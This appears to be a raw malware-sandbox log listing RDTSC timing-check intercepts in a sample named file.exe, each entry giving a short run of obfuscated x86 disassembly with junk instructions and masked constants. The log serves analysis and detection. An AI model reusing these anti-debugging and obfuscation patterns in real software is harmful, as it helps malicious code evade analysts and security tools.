Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290811 second address: 52908AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F100CBC40BCh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F100CBC40BBh 0x0000000f or cl, 0000000Eh 0x00000012 jmp 00007F100CBC40C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov edi, eax 0x0000001f pushfd 0x00000020 jmp 00007F100CBC40C8h 0x00000025 and si, 5CB8h 0x0000002a jmp 00007F100CBC40BBh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 jmp 00007F100CBC40C6h 0x00000038 and esp, FFFFFFF8h 0x0000003b jmp 00007F100CBC40C0h 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52908AE second address: 52908B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52908B2 second address: 52908B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52908B8 second address: 5290963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e mov di, 74C0h 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F100CB9507Fh 0x00000019 xchg eax, esi 0x0000001a jmp 00007F100CB95086h 0x0000001f push eax 0x00000020 jmp 00007F100CB9507Bh 0x00000025 xchg eax, esi 0x00000026 jmp 00007F100CB95086h 0x0000002b mov esi, dword ptr [ebp+08h] 0x0000002e pushad 0x0000002f mov edi, ecx 0x00000031 call 00007F100CB9507Ah 0x00000036 pushfd 0x00000037 jmp 00007F100CB95082h 0x0000003c add cl, FFFFFFF8h 0x0000003f jmp 00007F100CB9507Bh 0x00000044 popfd 0x00000045 pop eax 0x00000046 popad 0x00000047 mov ebx, 00000000h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290963 second address: 5290969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290969 second address: 529096F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529096F second address: 5290973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290973 second address: 5290977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290977 second address: 52909E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d mov ebx, 5709E87Ah 0x00000012 popad 0x00000013 je 00007F107ECD9ABAh 0x00000019 pushad 0x0000001a call 00007F100CBC40C7h 0x0000001f push ecx 0x00000020 pop edx 0x00000021 pop esi 0x00000022 mov di, 36E8h 0x00000026 popad 0x00000027 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002e pushad 0x0000002f mov bl, FBh 0x00000031 popad 0x00000032 mov ecx, esi 0x00000034 jmp 00007F100CBC40BBh 0x00000039 je 00007F107ECD9A91h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F100CBC40BBh 0x00000047 mov esi, 7761F8BFh 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909E2 second address: 5290AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [77436968h], 00000002h 0x00000010 jmp 00007F100CB9507Eh 0x00000015 jne 00007F107ECAAA1Ch 0x0000001b jmp 00007F100CB95080h 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 pushad 0x00000024 mov bh, al 0x00000026 pushfd 0x00000027 jmp 00007F100CB95083h 0x0000002c jmp 00007F100CB95083h 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 jmp 00007F100CB95086h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F100CB9507Ch 0x00000043 sbb ah, FFFFFFF8h 0x00000046 jmp 00007F100CB9507Bh 0x0000004b popfd 0x0000004c pushfd 0x0000004d jmp 00007F100CB95088h 0x00000052 or cl, 00000058h 0x00000055 jmp 00007F100CB9507Bh 0x0000005a popfd 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290AB5 second address: 5290ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290ACD second address: 5290AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A098D second address: 52A09F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F100CBC40C0h 0x00000014 sub ecx, 0A151288h 0x0000001a jmp 00007F100CBC40BBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F100CBC40C8h 0x00000026 and cx, 74E8h 0x0000002b jmp 00007F100CBC40BBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [esp], ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov ah, dl 0x0000003a mov esi, 49ABB373h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320772 second address: 5320778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320778 second address: 53207A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F100CBC40BCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F100CBC40C0h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109BC second address: 53109C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109C1 second address: 53109D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109D1 second address: 53109D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109D5 second address: 53109E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ch, 42h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109E4 second address: 53109EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109EA second address: 53109EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310816 second address: 531081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531081B second address: 5310829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0011 second address: 52B0017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0017 second address: 52B001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B001B second address: 52B006B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F100CB95084h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edi, ax 0x00000017 pushfd 0x00000018 jmp 00007F100CB95086h 0x0000001d add esi, 679B8CB8h 0x00000023 jmp 00007F100CB9507Bh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B006B second address: 52B0071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0071 second address: 52B0075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0075 second address: 52B0079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0079 second address: 52B008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F100CB9507Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B008F second address: 52B0095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0095 second address: 52B0099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BD1 second address: 5310C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F100CBC40C6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F100CBC40C0h 0x00000016 push dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, di 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C15 second address: 5310C83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007F100CB95080h 0x00000011 call 00007F100CB95079h 0x00000016 jmp 00007F100CB95080h 0x0000001b push eax 0x0000001c pushad 0x0000001d push ebx 0x0000001e jmp 00007F100CB9507Ch 0x00000023 pop ecx 0x00000024 mov dh, D3h 0x00000026 popad 0x00000027 mov eax, dword ptr [esp+04h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F100CB9507Fh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C83 second address: 5310C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C89 second address: 5310CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 mov dl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F100CB95085h 0x00000015 sbb si, E636h 0x0000001a jmp 00007F100CB95081h 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CC7 second address: 5310CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CCC second address: 5310CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CD1 second address: 5310CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 48A18EBEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F100CBC40BEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CF3 second address: 5310CF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310CF9 second address: 5310D14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, 01C31059h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F100CBC40BBh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71524E second address: 715267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715267 second address: 715286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715286 second address: 71528A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71528A second address: 71528E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0556 second address: 52C055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C055C second address: 52C0560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0560 second address: 52C05F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 2EF48862h 0x0000000d pushad 0x0000000e mov cx, 5B5Dh 0x00000012 mov di, cx 0x00000015 popad 0x00000016 xor dword ptr [esp], 59B5487Ah 0x0000001d jmp 00007F100CB95084h 0x00000022 push 43BE860Bh 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F100CB95087h 0x0000002e adc ax, 2E2Eh 0x00000033 jmp 00007F100CB95089h 0x00000038 popfd 0x00000039 mov di, cx 0x0000003c popad 0x0000003d xor dword ptr [esp], 3486280Bh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 movsx edx, cx 0x0000004a call 00007F100CB95080h 0x0000004f pop ecx 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C05F1 second address: 52C060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C060C second address: 52C064C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 pushad 0x00000012 mov ax, 1D03h 0x00000016 mov ax, 865Fh 0x0000001a popad 0x0000001b nop 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F100CB9507Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C064C second address: 52C065B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C065B second address: 52C067B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F100CB95083h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C067B second address: 52C06B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 155BB3CAh 0x00000008 mov edx, 42694296h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jmp 00007F100CBC40BDh 0x00000016 sub esp, 1Ch 0x00000019 jmp 00007F100CBC40BEh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx ebx, cx 0x00000025 mov al, 58h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06B4 second address: 52C06BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06BA second address: 52C06DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c pushad 0x0000000d mov bx, F2C4h 0x00000011 movsx edx, ax 0x00000014 popad 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F100CBC40BBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06DE second address: 52C072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, C5h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 pushfd 0x00000011 jmp 00007F100CB95084h 0x00000016 add cx, A1D8h 0x0000001b jmp 00007F100CB9507Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pushad 0x00000023 mov ecx, 0F5B9725h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b popad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F100CB9507Ch 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C072E second address: 52C0752 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F100CBC40C0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0752 second address: 52C0761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0761 second address: 52C0779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0779 second address: 52C079E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F100CB9507Bh 0x00000014 pop esi 0x00000015 mov ax, bx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C079E second address: 52C07BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07BA second address: 52C07D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F100CB9507Ah 0x0000000a xor ah, FFFFFFB8h 0x0000000d jmp 00007F100CB9507Bh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07D9 second address: 52C0841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, edi 0x0000000b jmp 00007F100CBC40C1h 0x00000010 mov eax, dword ptr [7743B370h] 0x00000015 pushad 0x00000016 push esi 0x00000017 mov si, bx 0x0000001a pop edi 0x0000001b mov al, 05h 0x0000001d popad 0x0000001e xor dword ptr [ebp-08h], eax 0x00000021 pushad 0x00000022 mov bx, BF60h 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F100CBC40C4h 0x0000002d and al, FFFFFFA8h 0x00000030 jmp 00007F100CBC40BBh 0x00000035 popfd 0x00000036 pop ecx 0x00000037 popad 0x00000038 xor eax, ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F100CBC40BBh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0841 second address: 52C0865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0865 second address: 52C086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C086B second address: 52C0871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0871 second address: 52C087F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C087F second address: 52C0889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 1AC245F1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0889 second address: 52C08C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, E3h 0x00000005 pushfd 0x00000006 jmp 00007F100CBC40C6h 0x0000000b xor eax, 0EB2A3F8h 0x00000011 jmp 00007F100CBC40BBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08C1 second address: 52C08C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08C5 second address: 52C08E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08E0 second address: 52C090F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F100CB9507Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C090F second address: 52C0915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0915 second address: 52C0948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F100CB95080h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0948 second address: 52C094E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C094E second address: 52C0954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
